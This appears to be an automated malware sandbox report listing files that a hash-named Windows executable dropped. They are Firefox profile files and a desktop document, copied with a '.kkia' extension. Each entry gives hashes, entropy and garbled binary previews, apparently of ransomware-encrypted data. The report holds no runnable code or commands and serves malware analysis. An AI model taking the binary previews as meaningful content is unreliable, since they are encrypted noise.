SHA-512:	B60E1029EC22A36A602BDF0A5DE2DD6BB3EB0B18FAE5D35743CCD323353EAEFD0124AC3B3114F40846403B1EEA73740832B61AE11BD38C1F6BBF7A1826BFAEF1
Malicious:	true
Preview:	..-...b.P..[j.#ix..f.v.x...~..Z.(..}.xM.?Rd...(..T.?g...b...S1..A_..o.S..'+(+.G...M......f>......Ou.Wn...'.7..1. .....'..Q....A ...@.J`....8w.\|.j\|.....@T.T1....!.x..$.....^;.-Y...yH.l.vre....J;..>6B...9...E..g..x'....cTw.[...0.x.'5..BojM.X........4...l.%...Q.$Z..o......;.{.v.K.7..r.y..V8<.r..ToT.M.9.../..a.]P.dB... .....?A.2.X:...u.U../%.f.T.8.5..".D.P....(..-S.RF..r\|/...b..9.q.../..0v.FcPi)'.6......u...2.q..E.d....i..O........G.]....J.....A.0......G.Z.......='H...fx$......=..S...A......V.l.my..:M..V.%?.....R......\|j.Tn.p...#..r~..s....(.&...?....lV(q^.\|a....CDn.Y.Y.!-.{....0...f..........-4.oZ.v.KnGc.%C...zXn....[q....Q..3.l .......>9.+.J.4...b.k..6...R.....+...k=.V.....LJ;3..F.o...}G#...b...[.....~.$.m.M..t....s/..W.%. >.2.FM...52....[9.RQ7 ..P.'p.Cl.....6>.v8.Zo.. C...t.d.T'Y-.).{.r.... DL.e.7Pn.......Joh]@3....:.....3....H...P.c....0.M..p~.1..>_'.....U,+ah..h...QI[..J......k...o....k.C.4....tW>.m.....V..n......Uw.5...G"N..c.x.lw\|..

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.43226108958839166
Encrypted:	false
SSDEEP:	3072:ruXjbH+gY1C0FkYl0TgIDAwvAvfvphiOf6cjVOm6dGUScEdaQT12XDWevY:ruTd0FkWwgWAYiRL6qj6gdOXDWL
MD5:	8C21CD622C989BB43453134520A76DF5
SHA1:	B43193F2CB5E90CAF6A215EB7FA7A7549009916F
SHA-256:	E3BF26C417C305B7E0D2BBD8528029A623BE0DC1D72DBCDA38A56D3DF95435B2
SHA-512:	8E59BC66FB3092044AA1C1A4B841460D979C28401D86E49295E3F289434914DE1D310E799CA44AC6422AF4DE1347D4B3DB8EEE2374A3C1770A7E15DD0164BB37
Malicious:	false
Preview:	SQLit...{..@..m......C$.h.........Ag..@x..$H_.v.f!!&mq.yH..G%-....L../..Vm<).m(..,"c.Yc..,N.D..N;.+.E.F.....fk\ZunJQVh..PIE..rC..F..........0... ....8H..j\.u'...z.......&.V1n..$.:....eg......\|....!0... ....+...1......&..2o..1.k...+$Q..lH.HipBmO..d.wj......u...I.-?R..j.&}/...........Y.II.-....J4du.....=...zS.....N...Ri..rDV...><....7....u...r..g.ik...$9./...'..y...t=+.a.... ....@.$m.+K.F....j..4..%f...M..%_..P.z.@..X...bp..mf.L...7".V..... ?..AnL...2.[..j.i\|!.o..u..r.-7j.B.AL..<D.cG}x...O.c.....c.0......%..U..$....~!R.v...l...S.......k.S....j...o.9.r...~p..8H.\|I...5...\|..,.......jO......V...F.....Y...w..Ky`...LU.....C..k..1C.7.n...K@..r..d...J..W....s...}.... .....-.U\.v...Q...l".>..5Ly.g?..../.$&.S.g...A.x..iCrA./M.u....j../.-{..L.s..~....B.....M...^fx...er...dX......u...<)F..!..]d.'..+r.......%...7.........g7..}...Y=..m.....*O..3..~\.......).#.?.qH#..G!U`.0........U..........Zf...Q.].m'}K\|0bO...H....nj.2V.#...^..W..1I.,..OQ..^... ....

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	10823
Entropy (8bit):	7.9830421645318745
Encrypted:	false
SSDEEP:	192:bcpIIGyrKHbw4+WBLD74fEb1Te9fk8tqJvisaLbZk6o8cxkDhp2mmT38vEIhrYM:4pII7mHbwR03XTwfk8t6HaLLUWpvflYM
MD5:	A431BEE36CA4A22CAF32B3C18408182A
SHA1:	8F4D762548AE0E98A3086C4D1E9A8EB8FBF0456B
SHA-256:	05A46E85EC987B20535D3061B7D007134811775AE1BEA6D41D39162BEBA4115C
SHA-512:	E1EC05F5351FA319C17F14DB1B331C551C2CA9DCDA0D1CB5052E6A5EEF5C8B2BC35F52A9101B42F5ECA5EF7ADDBB8E9702A3BCFEAAB7949DC6296216B9B55579
Malicious:	false
Preview:	// Mo./..pN.d....p.o.l'v..,..#.l@.{...h..{<..m...?Oj5.+p.]/.M.....R+.6f_a..f....k...S..r......R..g.f...N.>...h.....f..........FIJ.+..J._J.B.....QhF...........4';..OsE....x....Z+.x&............&..a.b..?.r.....~...^...4.:...]....:9..+7.4...,..i\jE..R..!K."E.g>.u...a.gTfE._O"O6m.z..'..I..C-.........A6.]...U......^;../.^.(..p..9.r...[S].....(2....8...e..j.~v.Q.;...n....^.]~F...Q.....U..T....W.Q...E..Ut..(..&Y^0.eB7{.+.(\|@.l.1.>....XF..RN...&.A1..-sBF.G[.o:."..FV.(..I.....8.?..j{R....p=.Jl[....$/F..X...%...9.6f.D....Wo:h..G]..-Z[....r1..6.}..y..rx.Bl%.#..9......e)..Yd..~48b5....=..n!....2.,:.;..r""..r...At.o...2g&Q.g...S%.X...E...+~4..@.6e+.......5EJ..k.{Aq\{Ix.!).k[R.q%./G......9.sG.m.X.M.5.v......TEV...(5%..8...-.G.....=\...q..Z...x..%@..*&.+......E.....2/6.&.$&.?.k.z..Cv8...s.xy.....g........!3..<.7...I......U$...9.....<]..!.P.x.%..`W.(.!q.@u?...c=$..uN.s..'r.B;..;..B..h...m.S.a.........Qg..^6.........;.j.D..sp0.[M.........

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\protections.sqlite.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.99729191424399
Encrypted:	true
SSDEEP:	1536:RhzmglHqC7qjw77FIxBiDReHrdrHVniSasMcBsxCguGlbvzgvrW5:/zNHqKVaBiD8rdrHRbMcexCguezgjk
MD5:	52653D14DFCB2FC362094EC509091470
SHA1:	0CE11BBE3CC10F529383FD9700FB8BE53928C4FD
SHA-256:	5A64FCF654BA02B17B853593844FBA420A5674A5FE3C33AF07AC1FF057DCA253
SHA-512:	084DB07B1FD89E6473D16FA3D7F2FDB511CCA2B938720646B604A9F1AB1B878EB59028462B0756A0AFC1FBE3D21312309864D756C0EB76A1D22AE30727215AC3
Malicious:	true
Preview:	SQLit.&..h.A....F..u.(:..m ..m.jr4...M....`oXgi.X.._.....2+.[.".J.._...X...x..h"%......E...e.kx..6\|...5fx.t;r.L\|.W.L<...0`...N..-.Th.3.......C....Vm.....%..t....I.... ...K..(.J..K.U.k@7.\.q.X.f....g.......\|.;\|.t ....v..70.....+^4J.~5..}.'.N._...l........\|0........2.....-.9.I..YCb...9W..2.J....7_..#I.e.'..ck9.3....BR..g..i;...-....{..A..v.w$...5.j.w'.......6Y.&\|q8.<c..W..........Y.a!...j....%.c.2...Z...l.....K.D.s.u..E.....d...t.3.p..?R].......2B._....8<.p.&.t.. '.a'.G.2..[.PB.(.@.I.;...c.AW...R:..o...Q%.N...Yx.[..5=.......C au}.{#..\|..{.cK.9..'...>=....R.........v.6.fY...gb0]..ov W..w......0.C...N.0.]~s.....Z.9.1...Br..B.......:o...[D.j.k.v\.qVAo.D...6..:.6;E..........v6....n.........".F[W.....c...I.=$9I.x...K&.Qaj..Z.. ....?6..K..T.9...vF^6.\|.z`M.jaR.,k%........Yl......:..A.* ..u..Q.^..q b..d...V...!H.Y!..6P....^H\.cW....@m.....2.....P.?....W..kF. ..f....YKNh..q.M9....?V.u....pZA..'..dAY.]...;.....xz^&......!...=.X..P...

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\search.json.mozlz4.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	683
Entropy (8bit):	7.623359998036066
Encrypted:	false
SSDEEP:	12:Hk4YBH/lXNQDpo4hsApchITNyCK8d4T2PPljh3ahYeLom4ZiXLrFPrgcii9a:HkrHtX6LOApcOkCK/TWPljh3ahYFzAXM
MD5:	8E4E4FE6950DFE055FE3CEFF4F745B62
SHA1:	BB08ED9D98A2A35824485D2798458A18E3D64F6A
SHA-256:	E0D8F826D7D4F5F2808C6FD53B1052EC3085D10877D87EFE1A8D7CF1788A93CE
SHA-512:	46927BD3886285CD189B9CB8A09D4A8B649AE7409B551FBEB8DBE5B5C5577E4D4AF09620E7F9152EE091350F5786CE31C3DDFAE6C10A9B93B20AACCB1C1AA996
Malicious:	false
Preview:	mozLz}.. ..T..Qo>....gC..^N..^B[.b+ ..].ss}d......Ad%_.......ocH..../.^K.wa0...........e..mF....>i;3J.AfA.u.B..\|B..xv..=..Z..<.._$.Q..].4K.F.;.a.+....P...O......x...'..T.@j....?.D...V...W..8. V..Q.$..?.>5..~>?.<..;.1.h&/P+.D."1...!.D.~P..Q.o.T.]t...i,....b.-f..<xpMD#..V..Z....L..3.-t.4.l3...Z...').B..9..3.E.#z.?...B.(..M...vn.4l.LO..H.`..x..."..'4.u.).0UJ... ..&...t...m.l......=#..^^/Rgx\|w..'.V...... .93B.)\|G...w...q.a.h.t<.Cd5...a......Mv}.-..S..0.v...tiTs..\|b)../-G=..a]....y....`..VF....-...#:.X=..qe.....D.h......4.'"...v..R.4.E'..?.;.6./...sT$>..ts....$.?.j/.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\sessionCheckpoints.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	622
Entropy (8bit):	7.634076998419684
Encrypted:	false
SSDEEP:	12:YoS1YpOKPfCbQR8XUMclXO9oC8CG9TswrlFGaKXKVhmNVdjJP2XCPb1H37PrgciD:YCoKHgslq8CGVswrlFKXKTm5MXGb1XjW
MD5:	157F60C2C89E25F29BB6490DEE188259
SHA1:	E012B804692C2350576BA2293863C8C87B70E0AC
SHA-256:	6C1CA8222196AB1E95C65AEED6FC1217D1B1F6E47F81B88A87673189617793EC
SHA-512:	9D554C331FC320AF46ED351B147DCBA2CFBB24D2C9EB4D281D39925711864B906607454CE383EA8D6069719A33573211EB5B53A367B6DEA0E972985EDE4ED768
Malicious:	false
Preview:	{"pro.$.k.&...[..;M.i..+63.#...".]..iY.L..V.....f.8\|..Q....,Im..?.#...z`....?x.g.Y.....xk.q.9......Xv..q.Q..O7..-..Ch......@....R....#.....S..~.:....Gnl..Op..#p.[. .1'9.....xv..,.c.....L......mRtj...%..Q.2.u.l.0.;.B..l......z.E..?...Hz.vz..>C.1.H....+$^.Sn.oi...pN.....A:LVU.n..^9-.My.k..of...r...:..........L....e.....P........r.#q{7xi....6#.c.^..^.r..S.......!......jr.....9..\|...m.-;.....2.\IP.7...F....7.$P..y....$qZ57..Fh....N........aj..`.}.....D...@..Z..i.u....V.....+w.....I....=_..6.m2.?.x..{...5.......*..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\sessionstore.jsonlz4.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1549
Entropy (8bit):	7.879816109373431
Encrypted:	false
SSDEEP:	48:sXszNGTrPLuQe1dLAoi5rcnzxXmAhy2A74D:gszNiL8h5i5rcnFXmj2kk
MD5:	A4533016A9B81B5941CB69D2BDD6E349
SHA1:	A32E8125B727D77C7C300398CADAC7CB3CC561D5
SHA-256:	D73B7F43C27A7FBC54C165F8839A83D983C54B95AAC3E4183C671385D69A0C6C
SHA-512:	01890734C2EA9E1F050768C4D8D0D330D2FDA3285A45C30952BE5A651C15E44FBB0599F49464E1E2310D2BF65F00B8A3CCD6C0D5714CBD3817B8BEAB85346DA3
Malicious:	false
Preview:	mozLzR...q{.0.M"...Y..\6.k=..!.$.........?:....1O..C..,.5`}9.0...}....#;vI.. T0..&].I..%0$._.,W.Q.K..jT.......6.{.n.A.y..Ae/..!..........g...<....."...:.P..O..-w.).:(..&@.6I.\].rX..xu^..jn-x.....i..w..\}...W.$.5...K...vG'...D:.............b...JZ.JEr..)^J....i.o...H&.j.....t[.s%W.E..G.t.. C.p......h.c.l.d.....$..?.V..'.[J..R?.N2...O..O'i...C.+,...e<.H.jB.9.....EL......m.]qJu....4X...qN.@.H....~{.m}.v.~o....2D@...l-.....5c#.n....ro[............A].C.WRq.....$.L..x.....3s3.5h4.r...w..W.=..VE.->..{...&..@..$N.h.E..}.sXY.e......>lRH.R...@...ue.N.m.(...@.#.#.!]..s............,y..1j3....^....&..gQ....H.........#...j..5Df.$d....z.P...I....sX.....k.PF...f...PNI.).HH.....y ....#].;...B........}_.I.....7.....:.......Jv.<..8.!.8.z..74...s.vh..W+..J......RD...a.....G.I.:..\|...Y.....dWI}L.PR.........C%.:Sr...Q.yz../.?.$...V..-.6.....`....Cn..Y.yqa.({...}.......2..@...!...........R ..6..?.Z.";..pt._$.(..w.\|Q.x.o.D/.z.."....1.8..3....`b

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\shield-preference-experiments.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.324915000827235
Encrypted:	false
SSDEEP:	6:YAETg2E312Mzcj3Y9zzXBwCDqgz05waiLjcXF/NEzY+kAZP73TfK4VoyvTAdkKuO:YvTXEM2cDiz7vqgwHXfeYdAlHfvZvTfO
MD5:	72ECE081AFEEB4F6D98CE0782F98ECF4
SHA1:	E00E637732A9DE5DD79E95CDB9B1AA7349A46591
SHA-256:	4DF47C41B43B42EDB6FA8E934D374192CC64E266DFF096B91986EBB7C576B5E8
SHA-512:	E10110C3F15BD3D46C95809B08CA64E9F2810F67BDB8E6EF4468AECFAC4AE68869EE94DEE7D62049CAA21AD1576CFCF80D1DAE4F318579795B10864F4F322565
Malicious:	false
Preview:	{"exp:..0.9.&...Y...#(.);B."R#.BI...~..QQ.....d.....7.z.B....t...\E...%a..dgV...$...D.n/"......X..v..F...qGz.JB1%........OG..Z.c."...V...xG._.........;...<........y.T...}..Yp5...N2'.<.....7.9v.{....t.P.^....kE`#........H....W...zaAX.....Y-..d]$..w}%..5../...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\storage.sqlite.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.955059838682395
Encrypted:	false
SSDEEP:	96:BInQUeyePQmUJJ72VGtKNcSKRBGAoVLg4gTrt76iZJnslVzcP:ureyaQmytOjKR4DLgh64Jns3zS
MD5:	721455A948C921778946E68DE5293B4E
SHA1:	3DE850E5EED6627C3A6577F78D4C916424CD95B1
SHA-256:	AF818BB9E172191F988F1E925BF4011B691C41FC2FD256C7E60E162A25EDFA34
SHA-512:	BE579FF936D4DB7D4419E86D502789B2B77A59BBA14F00D2360FBD1814DC9BFD1E631A73DD20C339D40DC173B36692D40E21F35C581500675D0E2720BF8B1893
Malicious:	false
Preview:	SQLit.S..t.tF.M.{../k9....esb%...u-....\|.)u....b.W}.I...S:Y.4..)L.../(.....t .%...9;.a.<..".y..wG../.b.{.w...;j.as.E..\...(t..WK.....M...X.Z....-..\|.fB..@.P..Fwa.B.....I..'2'...E....z..Z...U...A_#.-.&...0~<......-[....U..H..e'..0.'GX...b...-.....n...U..V.aJ.Pd...i....#."{...B<G&t.....V.bu.4.......b.l..W......n>.b.0...}8'..W....V.O.G..R....G.....52..R`]Ay./-m..z.R....H.l=....u.....C.K.........F..O..=Q@.h..4..z..v..n.j#m3i..Du:.3..E.)../.F.}I,.7..Q..O...m.7?$hY/.z..d,."..........4._2...iU..,4N..l.J.._..1.m..0...B...v..}.....j.9......s4...[.R..n..\|.3_T.[.AP...M.g.'#..t8(N...\|..../..;h.E[{.#....Rk-.VHQ...0(.)..P.Fu..lv.})v..`..Y......&.Qo.{U.s...^..&(.'9. .........C.r..mO..<.2.P.J..>0..T[....W...hB..(...R..YJ.Zx...4..........wb.....x.z.lr...+.4.eQaZ....` ..[......`..M...q..t.....h.]..6..8D.S.....w.q.e..xUT.q.4y...".l6.......Y+...w..0....{..1A.....T.I]..A...^.g...f.......R..\|.<.C..zR.D...!.5.;Q.....\|s...=.u...".3-..1..yP.z.k.?.sz.8w...c

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\targeting.snapshot.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.959911646246983
Encrypted:	false
SSDEEP:	96:FbpAPB/rWG2XJIAtxtAyYj4M9eAQ9eo+VeJUBDHtTJu34UsVDF7q8qoa:FbuRrwXJIuHS8NAQ9eo+AJUxH38sVDw1
MD5:	43DE245E3AB4DD0FA69D0E7B6E8961A2
SHA1:	4BB061CFCE42917E2EE664A5237D56DC16714671
SHA-256:	67A745FFE85D955B8BB6A84D41EE9AD43AB40178A2D67408798EB4FE8D9D3694
SHA-512:	633590496BF0A76DD0551D28A208685551B6579CDB849947921E43148A542BFF4B519BDCD0821506085A395D28755E115BD580C9B687B04573A938EDD3239427
Malicious:	false
Preview:	{"env.......y....L...^..rr...&`$.d..P.vD.e-..D..5.y.k.+.....o3.....x-v} .`..R....P.!....H....C..z.~.K._.6.."..m:~..V..J..N/...`....f<.<bu.{rl..w}.....^.z.z$R..os...;.]Z\|..[5:~o................+{...m...DZ..vGo.d.G.....b....7.NuE.$uO.\b.q.&.M..0mQa..$....._....8B.". db.RA,.a\.&..Gns.X.UD.\|...`>...&1...js.b.<e..L..Q\..A....,..4..K...<.............3Oc.lF..l).Agh.,>Y...h!...z........m..!F..t...)"...i@........I........'..o. ...w.?..Q...y.......S..X.U...o.{c.?...).'.]W.%.3[....].^.U4e.....v....w1... ,......N.....3.......H....=../~G.C....?1.u.y_.."\p...+...#a\..Q...H..K.fH..@..%......g...1`...;..qJ.:...p.g.....n.2..x....{?E.&.I...0X_.K.I.....s.R..y...t.......J....d....O..).K.......+^.s..X)2..\...f<...h.{........5-....3...C.u....v!.%..ld...kc..;bw)....L.v..>NC..e..<i..Rh....m.j..v*erT..X...m.........._h.gpj...;u.F...{....[.....l..3........NRv..m....N.s...._rS.J.`.o.g.E..S+......Q....O...P.U~...ei.b....`...x.n.P.@/.. ...?1....A0..F.bp."

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\times.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	7.337521494589546
Encrypted:	false
SSDEEP:	6:YGlQooQzgirDn8VHA0Twv4+rFztZPshwIqdaYMAhqdNv583fJN3LYPebugcii96Z:YGXHosAyzrDIJAhGNv+BlUPrgcii9a
MD5:	0338262FF65A6593994B617BE8465F8B
SHA1:	1806081F1694A90D24652B3C502C20991685CE35
SHA-256:	D269C0847866911D9C20A5E1C0759951EE0818ACF2503E78592D18267388BBBF
SHA-512:	A6BDC0523398647D93375CCC61CAFAD53F7215D2F2FD9F16BA23735CF6D545AB48BB15E2178145CC0BBA22BE20F36EEF6EC1CB2227EFD2901990B549A6DA20EB
Malicious:	false
Preview:	{"cre...W...iQ...'.D.).../,..6.....-..w..H.7.s uQ.7...\1..T..*H..V.[...P._.p..N%`.s...c...0..m..>Tm/...w..1[a......@...\|.4....(.U.`.G.-@@..r..J.......<...!.8.S....r.a...Ez..n....V...$b.-EFs........)cW...q..8...`.........z>x.....?q...w9....?..<._.....B.).........A7.......1..4.2.^..q.gkP..{!C...}.2dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\webappsstore.sqlite-shm.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994004857961668
Encrypted:	true
SSDEEP:	768:3ZhnISYJ9hQ49n9mtk3VRCWflOUwM2HEkAclfPV22WAfp:JlIrhQ09mmVbVwPucpth
MD5:	A7E59087C2C618999C38452C832D309E
SHA1:	5073721C1E46D7FFD22A99EDD00687419DC0CA5C
SHA-256:	1057907C66F60AF5D48D30A8E1933B81C9405F1D235EEE6C874B68CCB705DFE7
SHA-512:	94380A9C0B925B29AC08C9D6DABDFAAF242137D988164ED90A3401F964C6FCD7A44A0C383AF4826DCB3F8D9B04DBE44EF38AA2CB7181625B613B127876CEFA91
Malicious:	true
Preview:	..-....b.A.].n.6......@...9^Z.K....2.k..$...^.W....L..KY[.. .....o.~.....B...9z.3!K..r#....U.h....Bd...6.2....2.q."....)...<^.f...y3.o.})$.Q.&.w1.[>1...v....\|.U2..b?..6\|~.VtIo .j...2E..fA..!......"....&....y_4.!.w.v1....n....-..9...{..Qv8:.k..%.55?.......yo........1.W..?.N).&.\|.C...[f.H....W...{...we5..{66=.n./..&......,.).<U\|.xo.!.3.......2........+.Y.r...UiF...........o.....q..'..3......Yy....B..j../Z..Q{.......k...vL..,%...7.....z.@.......5..g.~{.....`....c....%../..^.9..ws..~...q..EB...#.7n...\|V=>..b.+....I}E@..K..?..;...O......?.W..-;UE...\|x.T...S...U:\.....fu...U..%ff.0.s....L...d...1O4Wh....3...S_..b.=n..}.Y.b...M...kH$..[..k.>;.w.w...S.:.c=....n.....,g.B..{....hh..w.ld.J_.&...Yx..lZA..j...oL..B?qf...\|z.8.w..../.....,.4J.L6./.hC.v..v.t ...Z....].u.I.}....U.k..+.<...p.......*.P}Cj..<a.;._..D(...<=I........r.H'.\|.L..c...f..v.I<.xq.!..F...V.jj.~....(..g.v.}v..L.9.C.\|r#....8.37P.c/9S.3.v...g..p....-.....^.Q.X..5t9)4....M

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\webappsstore.sqlite.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.997950473851124
Encrypted:	true
SSDEEP:	3072:FM4b1oevH7gbC0YSQvm5xoyeuJFuAWiAaMq2BHnaj:yK0u0bZoyeuzuWEnu
MD5:	7F62750E965B4A308F67745F51301CCF
SHA1:	359606C0EA00815D6F5DC5A768AC173F9FDF456E
SHA-256:	2C29E8C08E1C6032D89AA0306EE0AC96A9B5070F51B85770C923855E6D675C39
SHA-512:	F21F1EAF35AD04551E1B8A803BF3A76E21C712A893E22D570B4431F8FC4DE2B53453AC3785802CEB40EC1CAF35767FE83F86C289CB48193F123F47D14C7039A5
Malicious:	true
Preview:	SQLit.....W.~p.DAOu...S......J..p..OhzU.1....E...5.&....4.....=.Y6.....=....b:.\.f.....\..c.`X...2@;.J....o..!..-..MJ ....T.6K.....V.7^#].C....2..#g...x.z...$..0g......_4..C..?.Y..\|...V...@......r.7.J.oe.....~..q.T......qz...8.....=..U.-.d.}.3.......7.....4bx8.Tu\|a...y....)...6Wi..5.._..)u...C....G..'.....m..X.......;.b..P...vb..PXM.....&..+K...H...2Xa...,..7..p...?>......Z..Q..Z......w.M...lT.4/YV.gp\|U....~..S.).E}....k.....''....G'.........L0.E..g;n.........?,......q.Fq..2....\6.&w.\..:..U.L.Qm.....&..d5Qh.....B.<q.rL.S.h.k=...M.......D.n.ck?=j...-.2....g.....&.n.......VO...j.0...[..?..n.(E..K'.K......h.?E.YmbZ.....%......Q.NN..l.-..7.....;.wW....\|.2...A...........tQ.../$.......,.e...h.K...V(Z...~3..}...f6"..H......e..P...l.E.\|...S...S~..F.....,.j.....>..8....}.:.{.. .2nG._]...w..".........XV......8.!...I^....]-.q....f..f.@....C...D.K....R..&.~.......m....&3T.....x...~.%..&.....{....7..X{O.7.03.{.....^<....GL.3..R.....wk&..Md....#t..c

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\dtbqpus9.default\times.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	381
Entropy (8bit):	7.35815847517401
Encrypted:	false
SSDEEP:	6:n0pfcfq2q2vxwLmj/Q3AtbO1H2H3KjiC9pYOS2jFUUCM9OKmPebugcii96Z:n0pUxVvxx/QQtb+E3CiCA23oKmPrgciD
MD5:	C6ECB83A85F48D3E36F1841CDBB0BBE7
SHA1:	2D82D4A7FA30F4DDE483775E192AC6B37D83C377
SHA-256:	D1F147B44CEC3515AE23F64DEFD035AF5CACC8D19E2B81CD8FDABC32D17E86F4
SHA-512:	A5DE8AFE9F71106295217666BA0C95AFD1859012F04BD2BDCEF242409FAB22CC8FBCEC7C6612461F75EC417C1CDC5D6F8F62183E7290E0852D83E9AE36E00CA5
Malicious:	false
Preview:	{."cr'....:.<...`.......r.>..!..7<..'.@..."E.^.$u.n.8.m7s..H.......a...s..I]=.2R%...Q......Y..M..yT...e..<i2.'........?~*.lEJ.?3..WA..EI.+.\|....k0..{........%.H.k.....6..zl...qk..s5..U..?.&..t..{.....D`........[.n..........K..7..:.3......A<...k.-..zA..........)....b...[.^>.d..?dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Desktop\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845291322702588
Encrypted:	false
SSDEEP:	24:vxARZ02qOYa1l+VlZbeUaIOEq7sv9mwYvOG24XZi5qK66VugPn4F/ajtkkbD:vxwqO5kTZ6UaIOEq7MmrvOG24XE5qK6G
MD5:	508A6FF3ACF3A3F09003F07BC66C4F40
SHA1:	927AD0EBAE767A066B4AD266BA37442915B128FA
SHA-256:	CE4B09EE8CC13E2AFA0A15778CCCE8B3221FA141C23824D823C2C071DAF8B903
SHA-512:	D350505A4A99265F46220A87799514B0F0E17A9AA89A211FBE2231252DBF04922458F0DB04572C7D1BAAF72B207DE7AD5214FD37A863F04453A267E68E82E127
Malicious:	false
Preview:	BNAGM.P....}....~....nr.c.3..V].Y.V.........z.D..d.q._.[...d....~:..,..Y..z.........LP7...Z.o_.&.$..p.m.B......,\|=.(..#Q.LpA...5..5B....:..m....58.Y..H.....u.B...\|^_.!.Wu....e?u.N.,Y..R..s...R).5.......).6...E.........4..(r..n%y%..d.XEH.......Z...~FU...N..=x.M.D....\|4t...O....>.z...S..ji..x.D.;.Y.I.D......_.m....<.U...C4...7u.R)\|.(h..;..NL.W.Z..I......h...U.....y.Rc..GM....)......F4.i.W.y...V..R..'9.h^..\o.r[..v...D.{.V...6.....]/..rB;h.g6.I..9....S..O.Wpl1!W..O.;...J.]....-.!Q..Pn..&. J.,....X.e..VP..q.....{.LPP...$:...s.....`~.g.4.t.SR......h..B........j.".^.=..=.N...).8J.... ..,..,....c..AZ.0.W...h=u....u..nJ...c..0...;.&..vP..>.....6...R........-....UF.....c.-..^...k=.z...8UI...6.DP..Ry.mO.-f..>U7..{....m8..Ng....Nty..}..J_\|w........J..K...;...P..^G.N..H.s.!..^.+...U=<cV.....09u.k.[..`.N.E$_..Y.'.Iz.......Vq6.EGS..5.w...Z.5.QN/...d9..Tc\.9%...E.'9 ....=.M[.Q..Me8.w...P.f:.7H..[O....\j..........]85....1hD.r.5...U..h...;Ww`8..Vew..Qa.

C:\Users\user\Desktop\BNAGMGSPLO.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845291322702588
Encrypted:	false
